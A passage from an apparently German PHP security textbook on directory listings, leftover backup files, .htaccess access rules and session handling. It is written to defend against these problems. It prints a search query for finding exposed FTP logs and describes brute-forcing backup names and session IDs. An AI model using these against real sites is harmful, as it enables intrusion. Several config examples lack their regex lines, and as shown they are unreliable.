ausgeht, dass der Benutzer, der auf diese Seite gelangt, die notwendigen Berechtigungen hat, wird dies mit einem Suchmaschinenroboter, der alles indiziert, was ihm in den Sinn kommt, außer Kraft gesetzt. Zum Einen gelangen Benutzer auf eine Seite, die für sie nicht gedacht war und zum Anderen gelangen Anwender durch dieses »Portal« (vielmehr handelt es sich dann um ein Scheunentor) auf andere Seiten, die eigentlich ebenfalls durch eine Passwortabfrage gesichert werden sollten. Übrigens: Nicht nur Suchmaschinen stellen hier eine Gefahr dar. Jeder Aufruf einer URL wird mit den entsprechenden GET-Parametern auch vom Webserver im Protokoll gespeichert. Diese werden dann teilweise auch von Statistiksoftware wieder ausgegeben. Hier besteht also auch die Möglichkeit, dass Benutzer, die die Statistik einsehen, an URLs der oben genannten Scheunentore gelangen und somit auf Teile des Systems Zugriff erhalten, die für sie gar nicht bestimmt waren. Um diesen Problemen vollkommen zu entgehen, sind einige Maßnahmen erforderlich. Zum Einen sollten Tests oder gar die (temporäre) Bereitstellung von sensitiven Links und Dateien nur auf vom Internet aus nicht erreichbaren Systemen stattfinden. Ist es jedoch notwendig, dass diese über das Internet erreicht werden können, so sollten dies Domains sein, die auf keinem anderen Host verlinkt sind, damit eine Suchmaschine diese Dateien auch niemals indiziert. Zum Anderen sollten solche Dienste natürlich durch Passwörter und Benutzernamen abgesichert sein.
1
Faktisch ist dies keine Entschlüsselung, da die Passwörter von htaccess mit md5 oder sha1 nichts anderes sind als Hashcodes. Man kann diese also nicht entschlüsseln, es lässt sich lediglich durch Probieren feststellen, welche Originalzeichenkette zum entsprechenden Hash führt.
39
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
Um das Problem des Scheunentors zu verhindern, muss jede PHP-Seite erneut prüfen, ob eine Authentifizierung vorliegt und der Benutzer die entsprechenden Rechte hat, um die Funktionen der aktuellen Seite auszuführen. Dies ist zwar relativ aufwändig, doch anders lässt es sich kaum vermeiden, dass Dritte bei einem eigenen Authentifikatikonssystem Zugriff erlangen. Am Besten jedoch ist es, direkt auf ein System, das vom Webserver angeboten wird, zu setzen. Beim ApacheWebserver ist dies das bereits erwähnte .htaccess, wofür eine Vielzahl von Modulen bereitsteht; Benutzer und Passwörter müssen also nicht aus einer Textdatei gelangen, sondern können direkt von einem LDAP-Server oder gar einer Datenbank bezogen werden. Weiterhin lässt sich dieser Mechanismus ganz gut in PHP integrieren, so dass auch ein grafisch anspruchsvoller Login realisiert werden kann. Mehr zum richtigen Umgang mit sensitiven Daten und auch zur Integration von .htaccess in PHP erfahren Sie in Kapitel 4.
2.5
Index- und Default-Dateien
Ein oft gemachter Fehler in Verbindung mit PHP ist die fehlerhafte Einstellung der Index- bzw. Default-Datei. Auf vielen Webserversystemen handelt es sich um die index.htm/index.html-Datei – auf dem Microsoft Internet Information Server hingegen wurde sie default.htm-Datei getauft. Die falsche Verwendung dieser Einstellung hat dabei selten sicherheitskritische Auswirkungen. PHP-Anwendungen funktionieren jedoch nicht so wie erwartet, da nicht die richtige Startseite angezeigt wird.
Wichtig Dass es selten sicherheitskritische Folgen hat, heißt nicht, dass diese ausgeschlossen sind. Das Fehlen einer Index- oder Default-Datei in Verbindung mit weiteren Lücken in der Konfiguration kann dazu führen, dass ein Dritter etwa Datenbankpasswörter oder andere sensitive Daten einsehen kann. Diese spezielle Seite kommt immer dann zum Tragen, wenn lediglich ein Verzeichnis oder eine (Sub-)Domain aufgerufen wird, die URL also keinen Dateinamen enthält. Solche Aufrufe sind etwa: 쐽 http://testserver 쐽 http://test.testserver/ 쐽 http://testserver/directory
Nun kommt es stark auf den Webserver, dessen generelles Verhalten sowie die spezifische Konfiguration an, was an den anfordernden Client ausgeliefert wird. Am bedenklichsten wäre es, wenn dann ein Verzeichnislisting an den Client übermittelt wird. Denn dann kann dieser eventuell »gefährliche« Dateien direkt anfor40
2.5 Index- und Default-Dateien
dern. Kommt ein Fehler bei der Dateibenennung hinzu (siehe Abschnitt 3.5.1 Ungeparste Dateiendung auf Seite 67) lassen sich Datenbankpasswörter und andere sehr sensible Daten leicht ausspähen. Ist keine Standarddatei definiert und das Verzeichnislisting wurde ausgeschaltet, erhält der Client nur eine Fehlermeldung. Jedoch baut jede Anwendung – oder vielmehr jede Website – auf einer Startseite auf, die standardmäßig angezeigt wird, wenn keine spezielle Unterseite aufgerufen wird. Diese Einstiegsseite muss den Namen tragen, unter dem die Standarddatei im Webserver konfiguriert ist. Für den Apache-Webserver gibt es hier zudem die Möglichkeit, mehrere Startseiten zu definieren; dabei wird diese Liste Eintrag für Eintrag abgearbeitet; die erste Datei aus der Liste, die physikalisch im entsprechenden Verzeichnis vorhanden ist, wird dann an den Client ausgeliefert. Findet sich keine Datei der Liste im Verzeichnis, so wird je nach weitergehender Konfiguration entweder das Verzeichnislisting oder der HTTP-Statuscode 403 (Forbidden, Zugriff nicht erlaubt – das spielt auf das nicht zugelassene Verzeichnislisting an) an den Client übermittelt. Um die Standarddateien festzulegen, wird die Konfigurationsdirektive DirectoryIndex verwendet. Für diese ist es notwendig, das Apache-Modul dir_module entweder statisch im Webserverkern zu integrieren oder es dynamisch als Modul nachzuladen. Wird dir_module nicht mit einer –disable-Option bei der Kompilierung explizit ausgeschlossen, ist es stets im Kern integriert. Hinter der Direktive folgt eine Liste von Dateien, nach denen gesucht werden soll, wenn eine Standarddatei an den Client ausgeliefert werden soll. Der Standardwert des Apache-Webservers sieht dabei so aus: DirectoryIndex index.cgi index.pl index.html index.htm index.shtml
Dabei wird zuerst nach der Datei index.cgi gesucht, wird diese nicht gefunden, so sucht der Webserver nach der Datei index.pl usw. Sofern ein entsprechender Handler für die Dateiendung (bei .cgi und .pl könnte dies etwa Perl sein) konfiguriert ist, wird dieser auch mit der Interpretation der Datei beauftragt. Eine für PHP erweiterte Variante kann dann so aussehen: DirectoryIndex index.php index.php4 index.php3 index.cgi index.pl index.html index.htm index.shtml
Dabei ist zu erkennen, dass die PHP-Dateien vor den anderen Standarddateien gesucht werden sollen. Wenn sie ausschließlich PHP-Dateien direkt von außen zugänglich machen wollen, so lassen Sie die Einträge nach index.php3 einfach weg. Beschränkt sich Ihre Dateibenennung lediglich auf das Suffix .php, so kann natürlich auch index.php3 und index.php4 entfallen.
41
Kapitel 2 Fehlerquellen, die jeder PHP-Entwickler kennen sollte
Wichtig hierbei ist auch, dass PHP als Handler für die Dateiendungen eingetragen ist, denn ansonsten werden die Dateien mit ihrem Quelltext als Original ausgeliefert – sensible Daten sind dann für jeden Dritten einsehbar. Die Direktive DirectoryIndex kann dabei für jeden Directory- und VirtualHostEintrag separat festgelegt werden. Eine Definition für das Basisverzeichnis als Standard – auch wenn diese Basis bedingt durch eine ausgeklügelte VirtualHostKonfiguration nie genutzt wird – ist unbedingt zu empfehlen. Komplementär sollte noch das Verzeichnislisting in den Blöcken deaktiviert werden, die über eine DirectoryIndex-Einstellung verfügen. Dies kann auf verschiedene Weise erledigt werden, was stark von der restlichen Konfiguration und der Verschachtelung von Blöcken abhängt. Am einfachsten ist es, wenn noch keine Options-Direktive vorhanden ist, und diese anderweitig nicht gebraucht wird. Die Deaktivierung erfolgt dann einfach mittels Options None. Ist Options anderweitig notwendig – etwa um Server-Side-Includes (SSI) mittels Includes zu aktivieren – sollte Indexes gezielt abgeschaltet werden, denn nur dann wird der Verzeichnisinhalt auch nicht aufgelistet, wenn die per DirectoryIndex spezifizierte Datei nicht vorhanden ist: Options –Indexes Includes
Listing 2.1:
Gezielte Abschaltung der Verzeichnisauflistung bei fehlender Standard-Datei
Handelt es sich um eine verschachtelte Konfiguration und ist es im übergeordneten Block zwingend erforderlich, ein Verzeichnislisting zu ermöglichen, kann dies durch ein Options –Indexes gezielt für den untergeordneten Block ausgeschaltet werden.
Hinweis Sowohl DirectoryIndex als auch Options wirken sich rekursiv aus, gelten also auch für die Unterverzeichnisse – solange diese nicht explizit anders konfiguriert wurden.
Tipp Andere Webserversysteme bezeichnen die Option zur Festlegung der Index-Datei möglicherweise anders; Microsofts Internet Information Server IIS bezeichnet diese Option etwa als Default Content Page oder Default Document (je nach Version), der Standardwert ist dort zudem nicht index.html oder index.htm sondern default.htm.
42
Kapitel 3
PHP und Dateien: Die häufigsten Fehler Hier geht es um die verbreitetsten Fehler, die bei der Verwendung von PHP und der Arbeit mit Dateien auftreten können. Gerade diese häufigen Fehler bieten eine große Angriffsfläche, da sie von Webserverbetreibern meist nicht als Problemquelle wahrgenommen werden.
Hinweis Dieses Kapitel soll lediglich die verbreitetsten und gleichzeitig gefährlichsten Fehler, die in der Programmierung mit PHP »gern« gemacht werden erläutern. Es werden kurze Lösungsansätze genannt, eine detailliertere Ausführung gibt es im jeweiligen Spezialkapitel dieses Buches.
3.1
Temporäre Dateien
Dateien fallen bei der Entwicklung von Webanwendungen ständig an, einige davon sind lediglich für die temporäre Speicherung von Informationen gedacht. Dies können auch Dinge sein, die niemand anderes erfahren soll, da er mit diesem Wissen beispielsweise Daten beziehen kann, die nicht für ihn bestimmt sind. So sollten Dateien, die Benutzer und Passwörter etwa für Datenbankverbindungen enthalten, nicht für Dritte einsehbar sein. Andererseits sind nicht nur statische Zugangsdaten betroffen: Session-IDs können, so sie ausgelesen werden, ebenfalls missbraucht werden. Eine solche Session kann »entführt« (Session-Hijacking) werden – darüber kann ein Eindringling etwa an die Bankverbindung oder Kreditkartendaten eines Webshop-Benutzers kommen, der diese in seinem Profil hinterlegt hat. Temporäre Dateien sind, genau wie die Informationen, die sie enthalten, in ihrer Entstehung sehr vielschichtig – es gibt viele Möglichkeiten, wie es zu diesen Dateien kommen kann. Tragisch ist auch keinesfalls, dass es diese Dateien gibt. Es mag seine Gründe haben, Daten kurzfristig zwischenzuspeichern – fatal ist es lediglich, wenn Dritte Zugriff auf diese Dateien erlangen können und/oder diese Dateien nicht bemerkt und somit nicht gelöscht werden. Hier gilt: Je länger eine Datei mit sensiblen Informationen besteht, desto größer ist die Wahrscheinlichkeit, dass ein Unbefugter an diesen Inhalt gelangt.
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Doch wie kommt es nun zu temporären Dateien? 쐽
Backup-Dateien I: Editoren und Entwicklungsumgebungen legen je nach Einstellung einige alte Revisionen der veränderten Dateien als Sicherung an.
쐽
Backup-Dateien II: FTP-Programme verfahren je nach Einstellung eventuell genauso. Vor allem Tools, die eine automatische Übertragung ermöglichen, machen davon gern Gebrauch, damit überschriebene Dateien nicht verloren sind.
쐽
Protokolldateien: FTP-Clients – allen voran WS FTP – legen bei Übertragungen sowohl auf dem Server als auch auf dem Client Protokolldateien an, in denen vermerkt wird, welche Dateien übertragen wurden (bei WS-FTP heißt diese Datei z. B. wsftp.log). Diese Information ist noch nicht kritisch, doch könnten diese Daten die Suche durch einen Unbefugten nach sensiblen Dateien erleichtern.
쐽
Eigene Sicherungen: Zum Test legt man eventuell Kopien von Dateien an, damit das Original leichter wiederherstellbar ist. War der Test erfolgreich, wird meist vergessen, die Sicherungen zu löschen.
쐽
Sessionmanagement: Ist die Sessionverwaltung ungenügend konfiguriert und werden Sessions auf dem Server in Dateien gespeichert, sind auch diese Dateien eine Gefahr.
Vorsicht Denken Sie daran: Diese Liste stellt nur Beispiele dar – sie ist keinesfalls vollständig. Wenn Sie alle Punkte dieser Aufzählung beachtet haben, sollten Sie sich nicht in falscher Sicherheit wiegen!
Hinweis Für einen Benutzer ist es mehr als leicht, an solche Dateien zu gelangen: Der Suchausdruck inurl:wsftp.log führt bei Google dazu, dass alle indizierten wsftp.log-Dateien angezeigt werden. Es gibt nun mehrere Maßnahmen, die man ergreifen kann, um solche Dateien gar nicht erst entstehen zu lassen, sie – so sie denn notwendig sind – nach möglichst kurzer Zeit zu entfernen und den Zugriff durch Außenstehende zu verwehren.
3.1.1
Backup-Dateien, Versionsverwaltung und Zugriffsschutz
Ganz klar: In der Softwareentwicklung gibt es immer wieder die Notwendigkeit, alte Daten zu sichern, um etwas Neues ausprobieren zu können, das vielleicht noch gar nicht der Stein der Weisen sein wird. Um nun die alte Version der jeweiligen
44
3.1 Temporäre Dateien
Daten nicht zu verlieren, kann man die Datei vorher kopieren. Diese Dateien enthalten oft den Originalquelltext und die -konfiguration. Werden diese Dateien jedoch nicht gelöscht und versehentlich – oder gar absichtlich – auf einen für jeden erreichbaren Webserver gespielt, kommt es zu einem wesentlichen Problem in Verbindung mit Webservern und Interpretersprachen generell: Lediglich Dateien mit der konfigurierten Dateiendung werden durch den entsprechenden Interpreter übersetzt, alle anderen Dateien werden als Klartext ausgeliefert. Am einfachsten lässt sich das anhand einer Apache-Beispielkonfiguration erklären. In der httpd.conf finden sich folgende Einstellungen zum Einsatz von PHP: AddType application/x-httpd-php-source .phps AddType application/x-httpd-php .php .php5 .php4 .php3 .phtml
Hierbei werden alle von Clients angeforderten Dateien mit den Endungen .php, .php5, .php4, .php3 und .phtml an den PHP-Interpreter übergeben und übersetzt. Den Quelltext dieser Dateien wird ein Client also niemals einsehen können, da PHP vorher die Übersetzung vornimmt und lediglich die Daten, die vom jeweiligen Skript ausgegeben werden, an die Clients übermittelt. Dateien mit dem Suffix .phps werden hier auch an den PHP-Interpreter übergeben, von diesem jedoch nicht übersetzt, sondern speziell formatiert. Der Quelltext wird dabei neu gegliedert und an den Client ausgeliefert. Bei diesen Dateien erfolgt dies absichtlich. Werden jetzt Sicherungsdateien – egal ob manuell, durch einen Editor oder eine FTP-Applikation – angelegt, so erhalten diese meist auch eine andere Dateiendung (z.B. .txt, .old, .bak). Diese Endungen werden ebenfalls – sofern sie angefordert werden – nicht an PHP übergeben, sondern als Klartext ausgeliefert. Dabei werden sie nicht wie .phps-Dateien formatiert, sondern so ausgegeben, wie sie sind. Das spielt dabei auch keine Rolle, denn dieser Effekt war (im Gegensatz zu den .phps-Dateien) keine Absicht, die Auslieferung erfolgt versehentlich. Und diese Dateien enthalten dann wahrscheinlich Daten, die ein Dritter nicht einsehen sollte. Wurde im Apache die Indizierung des Verzeichnisses (Direktive Options) deaktiviert oder ist im jeweiligen Verzeichnis eine Standarddatei (Direktive DirectoryIndex) vorhanden, so scheint dies erst einmal nicht problematisch zu sein, da von außen nicht erkennbar ist, welche Dateien im jeweiligen Verzeichnis des Webservers vorhanden sind. Doch gegen ein solches Denken spricht vieles: Der Zufall spielt Hackern stets in die Hände, diese versuchen einfach anhand der bekannten Dateinamen (die durch das Surfen auf der jeweiligen Seite klar erkennbar sind) durch Veränderung der Dateiendung einen Zufallstreffer zu landen. Zudem ist es durchaus denkbar, dass die
45
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Verzeichnisindizierung aktiviert ist – und wenn genau in dem Moment, in dem man etwa selbst die Standarddatei des Verzeichnisses durch eine neuere Version austauscht, zudem noch ein Dritter das jeweilige Verzeichnis aufruft, kann er so etwa an die Auflistung der Datei gelangen und somit sehen, welche Dateien vorhanden und wahrscheinlich Sicherungskopien sind. Natürlich kann es auch hier Bruteforce-Attacken geben: Hierbei werden in einem automatisierten Verfahren viele übliche Dateinamen für Konfigurationsdateien – denn vor allem diese sind interessant, um an die eigentlichen Nutzdaten zu gelangen – mit bekannten Dateiendungen für Sicherungskopien kombiniert. Nur wenige Webserver sind so eingerichtet, dass nur eine begrenzte Zahl von Anforderungen innerhalb einiger Sekunden von einem Client auch tatsächlich bearbeitet wird. So gibt es meist keinen Schutz gegen diese automatisierten Systeme. Diese Backup-Dateien sind – wie erwähnt – notwendig, um alte Stände zu sichern. Zum Problem werden sie auch erst dann, wenn sie durch Unachtsamkeit mit einem FTP-Programm auf einen Produktivserver übertragen werden oder wenn die FTP-Anwendungen von Dateien, die ersetzt werden, eine Sicherungskopie oder gar ein serverseitiges Übertragungsprotokoll anlegen. Um diesem Problem zu entgehen, gibt es eine einfache und effektive Lösung: Versionsmanagement. Werden in einem versionierten Projekt, das ausschließlich automatisiert vom Versionsserver auf den produktiven Webserver übertragen wird, Sicherungsdateien auf dem Client angelegt, so werden diese nicht in den Speicher übernommen, es sei denn, sie werden explizit zur Versionsverwaltung hinzugefügt. Besonders prädestiniert für diese Aufgabe ist das Versionskontrollsystem Subversion. Die Vorgehensweise sollte dabei im Allgemeinen folgende sein: 쐽
Alle zum Projekt gehörenden Dateien stehen unter Versionsverwaltung; Ausnahme: Sicherungsdateien, die dann nicht mehr notwendig sind – alte Versionsstände können jederzeit über die Versionskontrolle wiederhergestellt werden.
쐽
Nach der Übernahme von lokalen Änderungen wird der neue Stand der Dateien auf dem Versionsserver gespeichert. Es werden dabei lediglich Dateien übernommen, die explizit vom Benutzer unter Versionskontrolle gestellt wurden.
쐽
Diese neue Revision überträgt automatisch die neuen Daten auf den produktiven Webserver.
Dieses Modell sorgt dafür, dass keine unerwünschten Dateien auf dem Webserver vorliegen; es ist auch sichergestellt, dass sich auf dem Webserver stets die aktuelle Version der Anwendung befindet.
46
3.1 Temporäre Dateien
Als vielversprechendes System hat sich hier Subversion hervorgetan, das die Alternative zum altbewährten CVS ist. Bei jeder neuen Revision (jede Änderung, die an das System übertragen wird, erzeugt eine solche Revision) kann ein sogenannter Hook ausgeführt werden. Dabei handelt es sich um ein Programm – egal ob BatchDatei, Skript oder voll funktionsfähiges Anwendungsprogramm – das vom Benutzer bereitgestellt wird. In diesem kann unter Verwendung der Subversion-Bordmittel z.B. festgestellt werden, welche Dateien mit der aktuellen Revision geändert wurden, so kann etwa eine Übertragung via FTP auf diese Dateien beschränkt werden. Jedoch selbst mit einer Versionsverwaltung kann es einmal dazu kommen, dass Dateien, die nicht von PHP übersetzt werden, auf dem Webserver gespeichert werden, etwa weil eine Textdatei mit Entwicklerinformationen unter Versionskontrolle steht. Um jedoch eine Projektverwaltung nicht unnötig zu verkomplizieren – etwa indem solche Dateien in Verzeichnissen abgelegt werden, die wiederum von der automatisierten Übertragung zum Produktivserver ausgeschlossen werden – sollte auf dem Webserver noch eine zweite Technik zur Anwendung kommen: Zugriffsschutz.
Hinweis Die folgenden Daten beziehen sich auf die Verwendung von .htaccess in Verbindung mit dem Apache-Webserver. Ein solcher Zugriffsschutz kann auch mit anderen Webserversystemen realisiert werden, konsultieren Sie hierzu die jeweilige Dokumentation. Der Apache-Webserver kann eine Konfiguration nicht nur über die zentralen Dateien – httpd.conf und Dateien, die dort inkludiert werden – verwalten. Er unterstützt auch die Möglichkeit, die Konfiguration in jedem Verzeichnis dynamisch zu beeinflussen. Diese Datei hat dasselbe Format wie die Hauptkonfiguration, jedoch gibt es einige Unterschiede: 쐽
Nicht alle Direktiven werden innerhalb dieser Dateien unterstützt, es kommt vor allem auf die Einstellung von AllowOverride innerhalb der Basiskonfiguration an.
쐽
Alle Konfigurationsänderungen innerhalb dieser Datei beziehen sich auf das Verzeichnis, in dem sie sich befindet. Eine Angabe eines Directory- oder Location-Blocks ist somit weder notwendig noch zulässig. Folgende Daten der Basiskonfiguration AddType application/x-httpd-php .php. php5 .php4 .php3 .phtml
47
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
werden innerhalb einer .htaccess-Datei so umgesetzt: AddType application/x-httpd-php .php
Voraussetzung ist hierbei: Die .htaccess-Datei befindet sich im Verzeichnis selbst oder innerhalb eines übergeordneten Verzeichnisses. Alle Daten einer .htaccess-Konfiguration finden auch für Unterverzeichnisse Anwendung, sofern dort nicht eine eigene .htaccess-Datei vorliegt, die die Konfiguration entsprechend beeinflusst. 쐽
Es gibt Konfigurationsanweisungen, bei denen stets die Einstellungen der Basiskonfiguration den Anweisungen einer .htaccess-Datei bevorzugt werden; dies betrifft etwa eine notwendige Authentifizierung, um auf Dateien eines Verzeichnisses zuzugreifen: Egal, was in einer vorhandenen .htaccessDatei steht, sobald entsprechende Einträge in der httpd.conf vorhanden sind, werden diese beachtet. Für dieses Feature ist dieses Verhalten allerdings unerheblich.
.htaccess ist der Standardname dieser Datei, dieser Name kann jedoch auch verändert werden, indem die Konfigurationsdirektive AccessFileName innerhalb der Serverkonfiguration entsprechend gesetzt wird. Befindet sich Ihre Webanwendung also auf einem Server eines Providers und .htaccess scheint nicht zu funktionieren, so fragen Sie Ihren Provider nach dem erforderlichen Dateinamen.
Vorsicht Achten Sie unbedingt darauf, dass eine .htaccess-Datei auch von außen nicht zugreifbar ist! Haben Sie in dieser Datei verfügt, dass bestimmte Dateitypen von außen nur nach einer Authentifizierung angefordert werden können, kann ein Dritter nach Einsicht der .htaccess-Datei evtl. diese Informationen leichter erlangen und so an geschützte Dateien gelangen. Um dies zu verhindern, sollte in der Basiskonfiguration ein Zugriff auf diese Dateien verhindert werden (siehe folgende Abschnitte). Doch nun zum praktischen Teil. Im konkreten Problemfall – Sicherungsdateien – sollte der Webserver verhindern, dass ein Dritter an den Quelltext dieser Sicherungsdateien herankommt. Dies kann innerhalb einer .htaccess-Datei oder (was zu bevorzugen ist) der Basiskonfiguration festgelegt werden. Um möglichst viele Dateimuster abzudecken, können in Zusammenhang mit dem FilesMatch-Block reguläre Ausdrücke zur Erkennung der Dateinamen verwendet werden. Dabei können alle regulären Ausdrücke verwendet werden, die durch die PCRE (Perl compatible regular expressions, http://perldoc.perl.org/perlre.html) abgedeckt werden.
48
3.1 Temporäre Dateien
Hinweis Der Files-Block kann mit einem vorangestellten ~ (etwa ) ebenfalls mit regulären Ausdrücken verwendet werden. Um dies auf einen Blick zu verdeutlichen und nicht unnötig Verwirrung zu stiften, sollte für diese Art der Dateinamenserkennung FilesMatch verwendet werden. Innerhalb dieses Blocks kann man angeben, wer auf diese Dateien zugreifen darf und wer nicht. Dabei kommen nun für die Sicherungsdateien zwei Ansätze in Frage: 1. Der Zugriff auf Sicherungsdateien wird explizit verboten 2. Der Zugriff auf PHP-, HTML- und Grafikdateien wird explizit erlaubt Das verwendete Szenario hängt dabei stark davon ab, ob sicher davon ausgegangen werden kann, welche Dateiendungen von eingesetzter Software für Sicherungskopien und/oder temporäre Dateien verwendet werden. In Frage kommen hier beispielsweise: 쐽 .tmp 쐽 .bak 쐽 .sik 쐽 .log 쐽 .sql 쐽 .001, .002, .003, …, .099, …
Hinweis Beachten Sie, dass verschiedene Tools unterschiedliche Groß- bzw. Kleinschreibung dieser Endungen verwenden. Ein Editor speichert eine Sicherungskopie der Datei config.inc.php etwa in config.inc.php.bak – ein anderer vielleicht in config.inc.php.BAK. Wird der Webserver auf einem Unix-Derivat (Unix, Linux, BSD) betrieben, muss dies auch innerhalb des regulären Ausdrucks beachtet werden, während dies auf Windows-Servern keine Rolle spielt. Kann sichergestellt werden, dass in Frage kommende Dateisuffixe allesamt aus der oben genannten Liste stammen, so kann ein FilesMatch-Block etwa so aussehen: Order Deny, Allow
49
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
Deny from all
In diesem Fall ist der Zugriff auf Dateien, deren Dateiname mit einer der angegebenen Suffixe endet, für keinen Client erlaubt. Serverseitige Anwendungen – etwa PHP-Skripts – können allerdings weiterhin auf diese Dateien zugreifen, sofern der Zugriff direkt über das Dateisystem und nicht über den Webserver erfolgt. Die Zugriffsbeschränkung dieses Blocks gilt auch für .htaccess-Dateien, es ist nicht notwendig, dass diese von außen zugreifbar sind – im Gegenteil bedeutet dies sogar ein Sicherheitsrisiko (konkret wird der Zugriff auf Dateien unterbunden, deren Name mit .ht beginnt, es würde also auch auf .htpasswd zutreffen, einen verbreiteten Namen für die Datei mit Benutzer- und Passwortdaten für den .htaccess-gesteuerten Zugriff). Möchten Sie allerdings auch, dass diese Dateien von bestimmten Hosts aus erreichbar sind, so verwenden Sie als zusätzliche Anweisung innerhalb des Blocks noch die Allow-Direktive, mit der dann der Zugriff für bestimmte IP-Adressen, auf Basis etwa eines bestimmten Browsers oder durch eine Authentifizierung erlaubt werden könnte; von einem solchen Verhalten ist allerdings abzuraten, temporäre oder Sicherungsdateien sollten für niemanden einsehbar sein – sie sollten auf einem Produktivserver nicht einmal existieren. Können Sie nicht sicherstellen, dass lediglich bestimmte, Ihnen bekannte, Dateiendungen für nicht von außen zugreifbare Dateien verwendet werden, müssen Sie den Spieß entsprechend umdrehen: Sie erlauben lediglich den Zugriff auf eine bestimmte Menge von Dateien. Im Beispiel sollen Dateien mit folgenden Suffixen von außen erreichbar sein: 쐽
HTML-Dateien: .htm, .html
쐽
PHP-Dateien: .php, .php3, .php4, .php5, .phtml; wichtig hierbei ist: Damit auch hier kein Quelltext an einen Client übermittelt wird, muss sichergestellt werden, dass Dateien mit diesen Endungen auch an den PHP-Interpreter übergeben werden (nutzen Sie hierzu die Direktive AddType in Verbindung mit application/x-httpd-php)
쐽
Grafikdateien: .jpg, .jpeg, .gif, .png
쐽
Zusätzlich existiert hier noch ein Downloadverzeichnis namens download; alle Dateien daraus sollen durch einen Client angefordert werden können
Der FilesMatch-Block, der nur Zugriff zu den oben genannten Dateien gestatten soll, sieht also so aus: Order Allow,Deny Deny from all
50
3.1 Temporäre Dateien
Order Deny,Allow Allow from all
Hierbei ist es erforderlich, erst den Zugriff generell zu verbieten und ihn dann für die einzelnen Dateien wieder freizuschalten. Dieser Code-Block kann direkt in eine .htaccess-Datei übernommen werden. Soll die Freischaltung direkt über die Basiskonfiguration vorgenommen werden, so sollte dieser Block in eine Directory-Direktive verpackt werden, sofern eine Begrenzung dieser Wirkung auf bestimmte Verzeichnisse beschränkt werden soll.
Hinweis Wird über die Basiskonfiguration der Zugriff gesteuert, müssen verzeichnisbezogene Anweisungen unbedingt innerhalb von Directory-Blöcken notiert werden – Zugriffssteuerung in Location-Blöcken ist nicht zulässig; entsprechende Anweisungen werden dort ignoriert! Um auch noch dem Downloadverzeichnis gerecht zu werden, kommt es auf den Weg an, der verwendet wird: 쐽
Wird die Basiskonfiguration für die Freischaltung genutzt, so muss die einleitende FilesMatch-Zeile erweitert werden:
쐽
Bei der Verwendung von .htaccess geht diese Methode allerdings nicht, denn FilesMatch wird dabei stets nur gegen den Dateinamen – ohne Verzeichnispfad – verglichen. Ist im aktuellen Verzeichnis keine .htaccess-Datei vorhanden, wird in den übergeordneten Verzeichnissen nach einer solchen gesucht und diese verwendet. Dies führt allerdings zu dem Problem, dass beim Aufruf der Datei download/abc.zip lediglich abc.zip mit dem FilesMatch-Muster verglichen wird; hier führt also die Erweiterung von FilesMatch nicht zum Erfolg. Der einzige Weg hier: Das Verzeichnis benötigt ein eigene .htaccessDatei, die den Zugriff auf alle Dateien erlaubt: Order Deny,Allow Allow from all
51
Kapitel 3 PHP und Dateien: Die häufigsten Fehler
3.2
Sessions: Permissive Konfiguration oder »Alles ist erlaubt«
HTTP als verbindungsloses Übertragungsprotokoll steht dem Sinn und Zweck einer individualisierten Webanwendung entgegen. HTTP liefert Daten aus – zwischen einzelnen Anfragen gibt es dabei keinerlei Zusammenhang; um jedoch individuelle Daten liefern zu können, muss es möglich sein, Daten, über die sich der Benutzer z.B. authentifiziert hat, erhalten zu können, um über diese später wieder verfügen zu können. Nur so ist es auch möglich, beispielsweise einen Onlineshop zu realisieren: Es muss nachher noch bekannt sein, was der Benutzer in seinen Warenkorb abgelegt hat oder welche Lieferadresse er angegeben hat. Um dennoch Daten seitenübergreifend bereitstellen zu können, ohne diese stets in der URL unterzubringen (was URLs immer länger werden lassen würde und was in Bezug auf sensitive Daten wie etwa die Kreditkartennummer sicherheitstechnisch nicht zu verantworten wäre), wird mit sogenannten Sessions gearbeitet. Dabei bekommt ein Client eine Session-ID zugewiesen; ist es nun notwendig, Daten des Clients auf dem Server zwischenzuspeichern, werden diese dort in Verbindung mit der eindeutigen Session-ID gespeichert – wird auf einer anderen Seite die Sitzung mit dieser ID wieder aktiviert, können auch diese Daten wieder ausgelesen werden. Dieses Prinzip existiert in dieser Form nicht nur in PHP, sondern auch in anderen Sprachen, die in Verbindung mit Webanwendungen genutzt werden (etwa JSP, Python, Ruby). Dieses grundsätzlich einfache Prinzip hat allerdings datenschutzrelevante Auswirkungen, besonders, falls noch die Verwendung von Proxyservern hinzukommt. Grundsätzlich wird eine Session nämlich nur anhand der ID identifiziert – so ist es auch bei PHP. Es gibt also keine Verknüpfung zwischen der Sitzung und der IPAdresse des Clients. So ist es auch möglich, dass ein Client die Sitzung eines anderen übernehmen kann und dann über die Daten, die mit dieser Sitzung bereits gespeichert wurden, verfügen kann. Wird eine Session – anhand einer per Zufall ermittelten oder in Erfahrung gebrachten ID – durch einen Dritten entführt bzw. genutzt, so spricht man von SessionHijacking. Allerdings: Kein Hijacking ohne korrekte Session-ID. Jedoch gibt es viele Möglichkeiten, an eine solche zu gelangen. Am einfachsten ist dies, wenn das System jede Session-ID, die übermittelt wird, zulässt und dann gegebenenfalls keine neue Session-ID vergibt. So wäre es möglich, eine Session namens ABC zu erstellen – eine Bezeichnung die sich äußerst leicht erraten lässt. Hier kommen Bruteforce-Attacken zum Tragen, die einfach erdenkbare IDs durchprobieren, bis eine Session entdeckt wird, die bereits Daten enthält. Dieses Verhalten wird im Allgemeinen als Session-Riding bezeichnet und ist somit eine mögliche Vorstufe zum Session-Hijacking.
52
3.2 Sessions: Permissive Konfiguration oder »Alles ist erlaubt«
Um an eine gültige Session-ID zu gelangen, ist jedoch nicht nur der Zufall notwendig. Es gibt auch andere Möglichkeiten, um einfacher und zuverlässiger an eine solche ID zu gelangen. Dies hängt stark davon ab, wie Client und Server jeweils mit der Session-ID umgehen, bzw. diese übermitteln und speichern. Die gebräuchlichsten Methoden sind hierbei: 쐽
Transport innerhalb der URL als Parameter, z.B. http://sessionserver/ testpage.php?PHPSESSID=77dherhr5z7dddda442gt
쐽
Transport innerhalb der URL als Subdomain oder Verzeichnis, Umformung der URL erst serverseitig, z.B. http://77dherhr5z7dddda442gt.session. .sessionserver/testpage.php oder http://sessionserver/77dherhr5z 7dddda442gt/testpage.php (Vorsicht! Dieses Verfahren ist zum Patent durch das deutsche Unternehmen 7val angemeldet!)
쐽
